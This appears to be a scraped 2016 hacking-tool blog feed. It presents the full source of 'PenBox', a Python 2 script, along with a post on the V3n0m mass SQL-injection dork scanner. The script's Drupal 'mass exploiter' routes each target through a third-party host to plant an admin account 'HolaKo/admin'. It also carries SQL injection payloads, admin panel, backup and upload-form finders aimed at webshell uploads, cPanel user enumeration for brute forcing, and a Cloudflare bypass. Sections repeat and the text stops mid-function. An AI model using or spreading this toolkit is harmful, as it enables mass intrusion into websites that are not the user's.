                    spidred.append(spider.lastUrl())
            print " [+] Crawled -> ", spidred
            print " [~] Scanning -> ", url, " from SQL injection"
            self.checkSqli(spidred)
  ############################        
  #scan for ports  
    def portScanner(self, mode, ran) :
        """
        simple port scanner works with range of ports 
        or with common ports (al-swisre idea)
        """
        clearScr()
        print "[~] Scanning Ports"
        def do_it(ip, port):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #sock.settimeout(5)
            sock = sock.connect_ex((ip,port))
            if sock == 0:
                print " [*] Port %i is open" % port 
        
        if mode == 1 :
            a = ran.split('-')
            start = int(a[0])
            end = int(a[1])
            for i in range(start, end):
                do_it(self.serverip, i)
        elif mode == 2 :
            for port in [80,21,22,2082,25,53,110,443,143] :
                # didn't use multithreading cos it's few ports
                do_it(self.serverip, port)
############################


minu ='''
\t 1: Drupal Bing Exploiter
\t 2: Get Drupal Websites
\t 3: Drupal Mass Exploiter
\t 99: Back To Main Menu
'''


            #Definition Of Drupal Bing Expoliter 
def drupal():

    '''Drupal Exploit Binger All Websites Of server '''
    ip  = raw_input('1- IP : ')
    page  = 1
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
        try : 
            
                        urlpa = urlparse(url)
                        site  = urlpa.netloc

                        print "[+] Testing At "+site
                        resp = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+site+'&submit=submit')
                        read=resp.read()
                        if "User : HolaKo" in read:
                           print "Exploit found =>"+site

                           print "user:HolaKo\npass:admin"
                           a = open('up.txt','a')
                           a.write(site+'\n')
                           a.write("user:"+user+"\npass:"+pwd+"\n")
                        else :
                           print "[-] Expl Not Found :( "

        except Exception as ex :
                       print ex
                       sys.exit(0)


            #Drupal Server ExtraCtor
def getdrupal():
    ip  = raw_input('2- Ip : ')
    page  = 1
    sites = list()
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
                             split = urlparse(url)
                             site   = split.netloc
                             if site not in sites :
                                      print site 
                                      sites.append(site)
      

            #Drupal Mass List Exploiter 
def drupallist():
    listop = raw_input("Enter The list Txt :")
    fileopen = open(listop,'r')
    content = fileopen.readlines() 
    for i in content :
        url=i.strip()
        try :
            openurl = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+url+'&submit=submit')
            readcontent = openurl.read()
            if  "Success" in readcontent :
                print "[+]Success =>"+url
                print "[-]username:HolaKo\n[-]password:admin"
                save = open('drupal.txt','a')
                save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
                               
            else : 
                print i + "=> exploit not found " 
        except Exception as ex :
            print ex

def maine():
    
     print minu
     choose = raw_input("choose a number :")
     while True : 
      
      if choose == "1": 
        drupal()
      if choose == "2":
        getdrupal()
      if choose == "3":
        drupallist()
      if choose == "4":
        about()
      if choose == "99":
           
            menu()
      con = raw_input('Continue [Y/n] -> ')
      if con[0].upper() == 'N' :
                                    exit()
      if con[0].upper() == 'Y' :
                                    maine()
                                

#initialise the tnscan function 
class tnn():
    def __init__(self):
        clearScr()
        aaa = raw_input("Target IP : ")
        TNscan(aaa)
############################
#begin :D 
if __name__ == "__main__":
  OS()

Source: https://github.com/x3omdax | Our Post Before

↧

V3n0m v4.0.1 – A tool to automate mass SQLi d0rk scanner.

January 7, 2016, 7:32 am

≫ Next: PenBox v1.2 ~ Pentesting tools auto downloader Script.

≪ Previous: PenBox v1.1 ~ Pentesting tools auto downloader Script.

Changelog v4.0.1:
– Removed a couple broken dorks
+ Update setup.py
+ Create PKGBUILD
+ Update v3n0m.py

V3n0M runs on Python3 [Live Project – Readding old features back in and improved for Python3]
v3n0m is a free and open source scanner. Evolved from baltazar’s scanner, it has adapted several new features that improve fuctionality and usability. It is mostly experimental software.
This program is for finding and executing various vulnerabilities. It scavenges the web using dorks and organizes the URLs it finds.

v3n0mScanner v4.0.1

What You Hold:
A modified smartd0rk3r
+ Brand new, just outta the box!
+ Largest and most powerful d0rker online, 18k+d0rks searched over ~ Engines at once.
+ Free and Open /src/
+ CrossPlatform Python based toolkit
+ Version 4.0.1 Released on 7th Jan 2016
+ Licensed under GPLv2
+ Tested on: Linux 4.3.1 Ubuntu/Debian, CentOS 6 (with some errors), Win7 (with some errors)

Installation & Usage:

git clone https://github.com/v3n0m-Scanner/V3n0M-Scanner && cd V3n0M-Scanner
pip3 install asyncio
pip3 install aiohttp
python3 setup.py
cd src
python3 v3n0m.py

Update:
cd V3n0M-Scanner
git pull

Source: https://github.com/v3n0m-Scanner | Our Post Before

↧

PenBox v1.2 ~ Pentesting tools auto downloader Script.

January 10, 2016, 6:26 am

≫ Next: Updates NoSQLMap – Automated Mongo database and NoSQL web application exploitation tool.

≪ Previous: V3n0m v4.0.1 – A tool to automate mass SQLi d0rk scanner.

Penbox ~ Pentesting tools auto downloader Script.
Requirements : python2.7

Changelog Version v1.2 :
+ All Os Compatible : Windows , Linux , OSX
+ pixiewps
+ commix
+ Web Hacking
+ Drupal Hacking
+ Inurlbr
+ WordPress & Joomla Scanner
+ Gravity Form Scanner
+ File Upload Checker
+ WordPress Exploit Scanner

penbox-v1-2

Operating System Support Menu:
1) Max OSX
2) Linux
3) Windows

Main Menu:
1 : Information Gathering
2 : Password Attacks
3 : Wireless Testing
4 : Exploitation Tools
5 : Sniffing & Spoofing
6 : Privat Tool
7 : Drupal Hacking

Usage:

git clone https://github.com/x3omdax/PenBox && cd PenBox
cd Versions/V1.1
python penbox.py

penbox.py Script:

#!/usr/bin/env python2.7
#
#          All In One Tool For Penetration Testing 
#           Authors : Fedy Wesleti , Mohamed Nour 
#
import sys
import os
import time
import httplib
import subprocess
import re, urllib2
import socket
import urllib,sys,json
import telnetlib
import glob
import random
import Queue 
import threading
from getpass import getpass
from commands import *
from sys import argv
from platform import system
from urlparse import urlparse
from xml.dom import minidom
from optparse import OptionParser
from time import sleep
########################## 
#Variables
yes = set(['yes','y', 'ye', 'Y'])
no = set(['no','n'])
def logo():
    print """
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.2
                                  A Penetration Testing Framework 
 
  [+]       Coded BY Fedy Wesleti & Mohamed Nour        [+] 
  [+]                FB/CEH.TN   ~~ FB/mohamed.zeus.0   [+] 
  [+]             Greetz To All Pentesters              [+] 
"""
def menu():
    print ("""
  ########  ######## ##    ## ########   #######  ##     ## 
  ##     ## ##       ###   ## ##     ## ##     ##  ##   ##  
  ##     ## ##       ####  ## ##     ## ##     ##   ## ##   
  ########  ######   ## ## ## ########  ##     ##    ###    
  ##        ##       ##  #### ##     ## ##     ##   ## ##   
  ##        ##       ##   ### ##     ## ##     ##  ##   ##  
  ##        ######## ##    ## ########   #######  ##     ##  v1.2 
                                  A Penetration Testing Framework 
 
  [+]       Coded BY Fedy Wesleti & Mohamed Nour        [+] 
  [+]                FB/CEH.TN   ~~ FB/mohamed.zeus.0   [+] 
  [+]             Greetz To All Pentesters              [+] 

    Select from the menu:

    1 : Information Gathering
    2 : Password Attacks
    3 : Wireless Testing
    4 : Exploitation Tools
    5 : Sniffing & Spoofing
    6 : Web Hacking 
    7 : Privat Tools
    99 : Exit

    """)
    choice = raw_input("Enter Your Choice:")
    
    if choice == "1":
        info()
    elif choice == "2":
        passwd()
    elif choice == "3":
        wire()
    elif choice == "4":
        exp()
    elif choice == "5":
        snif()
    elif choice == "6":
        webhack()
    elif choice == "7":
        tnn()
    elif choice == "99":
        clearScr(),sys.exit();
    elif choice == "":
        menu()
    else: 
        menu()
def h2ip():
    host = raw_input("Select A Host : ")
    ips = socket.gethostbyname(host)
    print(ips)
def ports():
    clearScr()
    target = raw_input('Select a Target IP :')
    os.system("nmap -O -Pn %s" % target) 
    sys.exit();
def ifinurl():
    print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found."""
    print('do you have Inurlbr installed ? ')
    cinurl = raw_input("Y / N : ")
    if cinurl in yes:
        inurl()
    if cinurl in no:
        menu()
    elif cinurl == "":
        menu()
    else: 
        menu()
def commix():
    print ("Automated All-in-One OS Command Injection and Exploitation Tool.")
    print ("usage : python commix.py --help")
    choicecmx = raw_input("Continue: y/n :")
    if choicecmx in yes:
        os.system("git clone https://github.com/stasinopoulos/commix.git commix")
    elif choicecmx in no:
        os.system('clear'); info()        
 
def pixiewps():
    print"""Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only
    """
    choicewps = raw_input("Continue ? Y/N : ")
    if choicewps in yes :
        os.system("git clone https://github.com/wiire/pixiewps.git") 
        os.system(" cd pixiewps/src & make ")
        os.system(" cd pixiewps/src & sudo make install")
    if choicewps in no : 
        menu() 
    elif choicewps == "":
        menu()
    else: 
        menu()
def webhack():
    print("1 : Drupal Hacking ")
    print("2 : Inurlbr")
    print("3 : Wordpress & Joomla Scanner")
    print("4 : Gravity Form Scanner")
    print("5 : File Upload Checker")
    print("6 : Wordpress Exploit Scanner")
    print("99 : Exit")
    choiceweb = raw_input("Enter Your Choice : ")
    if choiceweb == "1":
        clearScr()
        maine()
    if choiceweb == "2":
        clearScr(); ifinurl()
    if choiceweb =='3':
        clearScr(); wppjmla()
    if choiceweb =="4":
        clearScr(); gravity()
    if choiceweb =="5":
        clearScr(); sqlscan()
    if choiceweb =="6":
        clearScr(); wpminiscanner()
    elif choiceweb =="99":
        menu()
    elif choiceweb == "":
        menu()
    else: 
        menu() 
def inurl():
    dork = raw_input("select a Dork:")
    output = raw_input("select a file to save :")
    os.system("./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output))
    if cinurl in no:
        insinurl()
    elif cinurl == "":
        menu()
    else: 
        menu()
def insinurl():
    os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git")
    os.system("chmod +x SCANNER-INURLBR/inurlbr.php")
    os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl")
    os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php")
    clearScr()
    inurl()
def nmap():

    choice7 = raw_input("continue ? Y / N : ")
    if choice7 in yes :
        os.system("wget https://nmap.org/dist/nmap-7.01.tar.bz2")
        os.system("bzip2 -cd nmap-7.01.tar.bz2 | tar xvf -")
        os.system("cd nmap-7.01 & ./configure")
        os.system("cd nmap-7.01 & make")
        os.system("su root")
        os.system("cd nmap-7.01 & make install")
    elif choice7 in no :
        info()
    elif choice7 == "":
        menu()
    else: 
        menu()
def jboss():
    os.system('clear')
    print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
    print ("deployed, the script uses its upload and command execution capability to")
    print ("provide an interactive session.")
    print ("")
    print ("usage : ./e.sh target_ip tcp_port ")
    print("Continue: y/n")
    choice9 = raw_input("yes / no :")
    if choice9 in yes:
        os.system("git clone https://github.com/SpiderLabs/jboss-autopwn.git"),sys.exit();
    elif choice9 in no:
        os.system('clear'); exp()
    elif choice9 == "":
        menu()
    else: 
        menu()
def sqlmap():
    print ("usage : python sqlmap.py -h")
    choice8 = raw_input("Continue: y/n :")
    if choice8 in yes:
        os.system("git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ")
    elif choice8 in no:
        os.system('clear'); info()
    elif choice8 == "":
        menu()
    else: 
        menu()
def setoolkit():
    print ("The Social-Engineer Toolkit is an open-source penetration testing framework")
    print(") designed for social engineering. SET has a number of custom attack vectors that ")
    print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC  ")
    print("an information security consulting firm located in Cleveland, Ohio.")
    print("")
    choiceset = raw_input("y / n :")
    if choiceset in yes:
        os.system("git clone https://github.com/trustedsec/social-engineer-toolkit.git")
        os.system("python social-engineer-toolkit/setup.py")
    if choiceset in no:
        clearScr(); info()
    elif choiceset == "":
        menu()
    else: 
        menu()
def cupp():
    print("cupp is a password list generator ")
    print("Usage: python cupp.py -h")
    choicecupp = raw_input("Continue: y/n : ")
    
    if choicecupp in yes:
        os.system("git clone https://github.com/Mebus/cupp.git")
        print("file downloaded successfully")
    elif choicecupp in no:
        clearScr(); passwd()
    elif choicecupp == "":
        menu()
    else: 
        menu()
def ncrack():
    print("A Ruby interface to Ncrack, Network authentication cracking tool.")
    print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3")
    print("Continue: y/n")
    choicencrack = raw_input("y / n :")
    if choicencrack in yes:
        os.system("git clone https://github.com/sophsec/ruby-ncrack.git")
        os.system("cd ruby-ncrack")
        os.system("install ruby-ncrack")
    elif choicencrack in no:
        clearScr(); passwd()
    elif choicencrack == "":
        menu()
    else: 
        menu()
def reaver():
    print """
      Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup
      WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a
      wide variety of access points and WPS implementations
      1 to accept / 0 to decline
        """
    creaver = raw_input("y / n :")
    if creaver in yes:
        os.system("apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps")
        os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git")
        os.system("cd reaver-wps-fork-t6x/src/ & ./configure")
        os.system("cd reaver-wps-fork-t6x/src/ & make")
    elif creaver in no:
        clearScr(); wire()
    elif creaver == "":
        menu()
    else: 
        menu()
def ssls():
    print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 
    attacks.
    It requires Python 2.5 or newer, along with the 'twisted' python module."""
    cssl = raw_input("y / n :")
    if cssl in yes: 
        os.system("git clone https://github.com/moxie0/sslstrip.git")
        os.system("sudo apt-get install python-twisted-web")
        os.system("python sslstrip/setup.py")
    if cssl in no:
        snif()
    elif cssl =="":
        menu()
    else:
        menu()
def unique(seq):
        seen = set()
        return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
        
        lista = []
        page = 1
        while page <= 101:
                try:
                        bing = "http://www.bing.com/search?q=ip%3A" + s + "+&count=50&first=" + str(page)
                        openbing = urllib2.urlopen(bing)
                        readbing = openbing.read()
                        findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                        for i in range(len(findwebs)):
                                allnoclean = findwebs[i]
                                findall1 = re.findall('http://(.*?)/', allnoclean)
                                for idx, item in enumerate(findall1):
                                        if 'www' not in item:
                                                findall1[idx] = 'http://www.' + item + '/'
                                        else:
                                                findall1[idx] = 'http://' + item + '/'
                                lista.extend(findall1)
 
                        page += 50
                except urllib2.URLError:
                        pass
 
        final = unique(lista)
        return final
def check_gravityforms(sites) :
        import urllib
        gravityforms = []
        for site in sites :
                try :
                        if urllib.urlopen(site+'wp-content/plugins/gravityforms/gravityforms.php').getcode() == 403 :
                                gravityforms.append(site)
                except :
                        pass
 
        return gravityforms
def gravity():
    ip = raw_input('Enter IP : ')
    sites = bing_all_grabber(str(ip))
    gravityforms = check_gravityforms(sites)
    for ss in gravityforms :
            print ss
     
    print '\n'
    print '[*] Found, ', len(gravityforms), ' gravityforms.'
def shellnoob():
    print """Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!"""
    cshell = raw_input("Y / N : ")
    if cshell in yes:
        os.system("git clone https://github.com/reyammer/shellnoob.git")
        os.system("mv shellnoob/shellnoob.py shellnoob.py")
        os.system("sudo python shellnoob.py --install")
    if cshell in no:
        exp()
    elif cshell =="":
        menu()
    else:
        menu()
def info():
    print("1: nmap ")
    print("2: Setoolkit")
    print("3: Port Scanning")
    print("4: Host To IP")
    print("99: Back To Main Menu")
    choice2 = raw_input("Select from the menu:")
    if choice2 == "1":
        os.system('clear'); nmap()
    if choice2 == "2":
        clearScr(); setoolkit()
    if choice2 == "3":
        clearScr(); ports()
    if choice2 == "4":
        clearScr(); h2ip()
    elif choice2 =="99":
        clearScr(); menu()
    elif choice2 == "":
        menu()
    else: 
        menu()
def priv8():
    tnn()
def passwd():
    print("1:  cupp ")
    print("2:  Ncrack")
    print("99: Back To Main Menu")
    choice3 = raw_input("Select from the menu:")
    if choice3 =="1":
     clearScr(); cupp()
    elif choice3 =="2":
        clearScr(); ncrack()
    elif choice3 =="99":
        clearScr(); menu()
    elif choice3 == "":
        menu()
    else: 
        menu()
def wire():
    print("1 : reaver ")
    print("2 : pixiewps")
    print("99: Back To The Main Menu")
    choice4 = raw_input("Select from the menu:")
    if choice4 =="1":
     clearScr();reaver()
    if choice4 =="2":
        clearScr(); pixiewps()
    elif choice4 =="99":
        menu()
    elif choice4 == "":
        menu()
    else: 
        menu()
def exp():
    print("1 : jboss-autopwn ")
    print("2 : sqlmap")
    print("3 : Shellnoob")
    print("4 : commix")
    print("99 : Go Back To Main Menu")
    choice5 = raw_input("Select from the menu:")
    if choice5 =="2":
        clearScr(); sqlmap()
    if choice5 =="1":
     os.system('clear'); jboss()
    if choice5 =="3":
        clearScr(); shellnoob()
    if choice5 =="4":
        os.system("clear"); commix()
    elif choice5 =="99":
        menu()
    elif choice5 == "":
        menu()
    else: 
        menu()
def snif():
    print("1 : Setoolkit ")
    print("2 : Ssltrip")
    print("99: Back To Main Menu")
    choice6 = raw_input("Select from the menu:")
    if choice6 =="1":
     clearScr(); setoolkit()
    if choice6 =="2":
        clearScr(); ssls()
    if choice6 =="99":
       clearScr(); menu()
    elif choice6 == "":
        menu()
    else: 
        menu()
def win():
    clearScr()
    print("Our Tool Does Not Support Windows , run it on linux or install a virtual machine ")
    sys.exit();
  #Check use OS
def OS():
    print(
    """
    Choose Operating System : 
    1) Mac OSX
    2) Linux
    3) Windows
    """)
    system = raw_input("choose an OS : ")
    if system =="2":
        menu()
    elif system =="1":
        root()
    elif system =="3":
        win()
    elif system == "":
        OS()
    else:
        sys.exit();
def root():
    if os.getuid() != 0:
        print("Are you root? Please execute as root")
        exit() 
    else:
        menu()
menuu = """
 1) Get all websites
 2) Get joomla websites
 3) Get wordpress websites
 4) Find control panel
 5) Find zip files
 6) Find upload files
 7) Get server users
 8) Scan from SQL injection
 9) Scan ports (range of ports)
 10) Scan ports (common ports)
 11) Get server banner
 12) Bypass Cloudflare
 99) Exit
"""
def unique(seq):
    """
    get unique from list found it on stackoverflow
    """
    seen = set()
    return [seen.add(x) or x for x in seq if x not in seen]
def clearScr() :
    """
    clear the screen in case of GNU/Linux or 
    windows 
    """
    if system() == 'Linux':
        os.system('clear')
    if system() == 'Windows':
        os.system('cls')
class TNscan : #TNscan Function menu 
    def __init__(self, serverip) :
        self.serverip = serverip
        self.getSites(False)
        print menuu
        while True :
            choice = raw_input(' Enter choice -> ')
            if choice == '1' :
                self.getSites(True)
            elif choice == '2' :
                self.getJoomla()
            elif choice == '3' :
                self.getWordpress()
            elif choice == '4' :
                self.findPanels()
            elif choice == '5' :
                self.findZip()
            elif choice == '6' :
                self.findUp()
            elif choice == '7' :
                self.getUsers()
            elif choice == '8' :
                self.grabSqli()
            elif choice == '9' :
                ran = raw_input(' Enter range of ports, (ex : 1-1000) -> ')
                self.portScanner(1, ran)
            elif choice == '10' :
                self.portScanner(2, None)
            elif choice == '11' :
                self.getServerBanner()
            elif choice == '12' :
                self.cloudflareBypasser()
            elif choice == '99' :
                menu()
            con = raw_input(' Continue [Y/n] -> ')
            if con[0].upper() == 'N' :
                exit()
            else :
                clearScr()
                print menuu
    def getSites(self, a) :
        """
        get all websites on same server
        from bing search
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    allnoclean = findwebs[i]
                    findall1 = re.findall('http://(.*?)/', allnoclean)
                    for idx, item in enumerate(findall1):
                        if 'www' not in item:
                            findall1[idx] = 'http://www.' + item + '/'
                        else:
                            findall1[idx] = 'http://' + item + '/'
                    lista.extend(findall1)
                    
                page += 50
            except urllib2.URLError:
                pass
        self.sites = unique(lista)
        if a :      
            clearScr()
            print '[*] Found ', len(lista), ' Website\n'
            for site in self.sites :
                print site 
    def getWordpress(self) :
        """
        get wordpress site using a dork the attacker
        may do a password list attack (i did a tool for that purpose check my pastebin) 
        or scan for common vulnerabilities using wpscan for example (i did a simple tool 
        for multi scanning using wpscan)
        """
        lista = []
        page = 1
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+?page_id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    wpnoclean = findwebs[i]
                    findwp = re.findall('(.*?)\?page_id=', wpnoclean)
                    lista.extend(findwp)
                page += 50
            except:
                pass
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Wordpress Website\n'
        for site in lista :
            print site
    def getJoomla(self) :
        """
        get all joomla websites using 
        bing search the attacker may bruteforce
        or scan them 
        """
        lista = []
        page = 1
        while page <= 101:
            bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+index.php?option=com&count=50&first=" + str(page)
            openbing = urllib2.urlopen(bing)
            readbing = openbing.read()
            findwebs = re.findall('<h2><a href="(.*?)"', readbing)
            for i in range(len(findwebs)):
                jmnoclean = findwebs[i]
                findjm = re.findall('(.*?)index.php', jmnoclean)
                lista.extend(findjm)
            page += 50
        lista = unique(lista)
        clearScr()
        print '[*] Found ', len(lista), ' Joomla Website\n'
        for site in lista :
            print site
############################
#find admin panels
    def findPanels(self) :
        """
        find panels from grabbed websites
        the attacker may do a lot of vulnerabilty 
        tests on the admin area
        """
        print "[~] Finding admin panels"
        adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/', 'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']
        clearScr()
        for site in self.sites :
            for admin in adminList :
                try :
                    if urllib.urlopen(site + admin).getcode() == 200 :
                        print " [*] Found admin panel -> ", site + admin
                except IOError :
                    pass
 ############################         
 #find ZIP files          
    def findZip(self) :
        """
        find zip files from grabbed websites
        it may contain useful informations
        """
        zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar', 'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']
        clearScr()
        print "[~] Finding zip file"
        for site in self.sites :
            for zip1 in zipList :
                try:
                    if urllib.urlopen(site + zip1).getcode() == 200 :
                        print " [*] Found zip file -> ", site + zip1
                except IOError :
                    pass
 ############################  
 #find upload directories     
    def findUp(self) :
        """
        find upload forms from grabbed 
        websites the attacker may succeed to 
        upload malicious files like webshells
        """
        upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php','blog/up.php', 'upload.php', 'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']
        clearScr()
        print "[~] Finding Upload"
        for site in self.sites :
            for up in upList :
                try :   
                    if (urllib.urlopen(site + up).getcode() == 200) :
                        html = urllib.urlopen(site + up).readlines()
                        for line in html :
                            if re.findall('type=file', line) :
                                print " [*] Found upload -> ", site+up
                except IOError :
                    pass
 ############################ 
#find users                  
    def getUsers(self) :
        """
        get server users using a method found by 
        iranian hackers , the attacker may
        do a bruteforce attack on CPanel, ssh, ftp or 
        even mysql if it supports remote login
        (you can use medusa or hydra)
        """
        clearScr()
        print "[~] Grabbing Users"
        userslist = []
        for site1 in self.sites :
            try:
                site = site1
                site = site.replace('http://www.', '')
                site = site.replace('http://', '')
                site = site.replace('.', '')
                if '-' in site:
                    site = site.replace('-', '')
                site = site.replace('/', '')
                while len(site) > 2:
                    resp = urllib2.urlopen(site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read()
                    if 'invalid username' not in resp.lower():
                        print '\t [*] Found -> ', site
                        userslist.append(site)
                        break
                    else :
                        print site
                        
                    site = site[:-1]
            except:
                pass
                    
        clearScr()
        for user in userslist :
            print user
############################        
#bypass cloudflare   
    def cloudflareBypasser(self) :
        """
        trys to bypass cloudflare i already wrote
        in my blog how it works, i learned this 
        method from a guy in madleets
        """
        clearScr()
        print "[~] Bypassing cloudflare"
        subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']
        for site in self.sites :
            site.replace('http://', '')
            site.replace('/', '')           
            try:
                ip = socket.gethostbyname(site)
            except socket.error:
                pass
            for sub in subdoms:
                doo = sub + '.' + site
                print ' [~] Trying -> ', doo
                try:
                    ddd = socket.gethostbyname(doo)
                    if ddd != ip:
                        print ' [*] Cloudflare bypassed -> ', ddd
                        break
                except socket.error :
                    pass
############################   
#find the server banner                 
    def getServerBanner(self) :
        """
        simply gets the server banner 
        the attacker may benefit from it 
        like getting the server side software
        """
        clearScr()
        try:
            s = 'http://' + self.serverip
            httpresponse = urllib.urlopen(s)
            print ' [*] Server header -> ', httpresponse.headers.getheader('server')
        except:
            pass
############################    
#greb the sqli         
    def grabSqli(self) :
        """
        just grabs all websites in server with php?id= dork 
        for scanning for error based sql injection
        """
        page = 1
        lista = []
        while page <= 101:
            try:
                bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + "+php?id=&count=50&first=" + str(page)
                openbing = urllib2.urlopen(bing)
                readbing = openbing.read()
                findwebs = re.findall('<h2><a href="(.*?)"', readbing)
                for i in range(len(findwebs)):
                    x = findwebs[i]
                    lista.append(x)
            except:
                pass            
            page += 50  
        lista = unique(lista)       
        self.checkSqli(lista)
 ############################      
 #scan for sql injection  
    def checkSqli(self, s):
        """
        checks for error based sql injection,
        most of the codes here are from webpwn3r 
        project the one who has found an lfi in 
        yahoo as i remember, you can find a separate 
        tool in my blog 
        """
        clearScr()
        print "[~] Checking SQL injection"
        payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
        check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
        for url in s:
            try:
                for param in url.split('?')[1].split('&'):
                    for payload in payloads:
                        power = url.replace(param, param + payload.strip())
                        #print power
                        html = urllib2.urlopen(power).readlines()
                        for line in html:
                            checker = re.findall(check, line)
                            if len(checker) != 0 :
                                print ' [*] SQLi found -> ', power
            except:
                pass
############################   
############################        
#scan for ports  
def portScanner(self, mode, ran) :
        """
        simple port scanner works with range of ports 
        or with common ports (al-swisre idea)
        """
        clearScr()
        print "[~] Scanning Ports"
        def do_it(ip, port):
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #sock.settimeout(5)
            sock = sock.connect_ex((ip,port))
            if sock == 0:
                print " [*] Port %i is open" % port 
        
        if mode == 1 :
            a = ran.split('-')
            start = int(a[0])
            end = int(a[1])
            for i in range(start, end):
                do_it(self.serverip, i)
        elif mode == 2 :
            for port in [80,21,22,2082,25,53,110,443,143] :
                # didn't use multithreading cos it's few ports
                do_it(self.serverip, port)
############################
minu ='''
\t 1: Drupal Bing Exploiter
\t 2: Get Drupal Websites
\t 3: Drupal Mass Exploiter
\t 99: Back To Main Menu
'''


            #Definition Of Drupal Bing Expoliter 
def drupal():

    '''Drupal Exploit Binger All Websites Of server '''
    ip  = raw_input('1- IP : ')
    page  = 1
    while page <= 50 :
      
      url   = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
      req   = urllib2.Request(url)
      opreq = urllib2.urlopen(req).read()
      findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
      page += 1 
      
      for url in findurl :
        try : 
            
                        urlpa = urlparse(url)
                        site  = urlpa.netloc

                        print "[+] Testing At "+site
                        resp = urllib2.urlopen('http://crig-alda.ro/wp-admin/css/index2.php?url='+site+'&submit=submit')
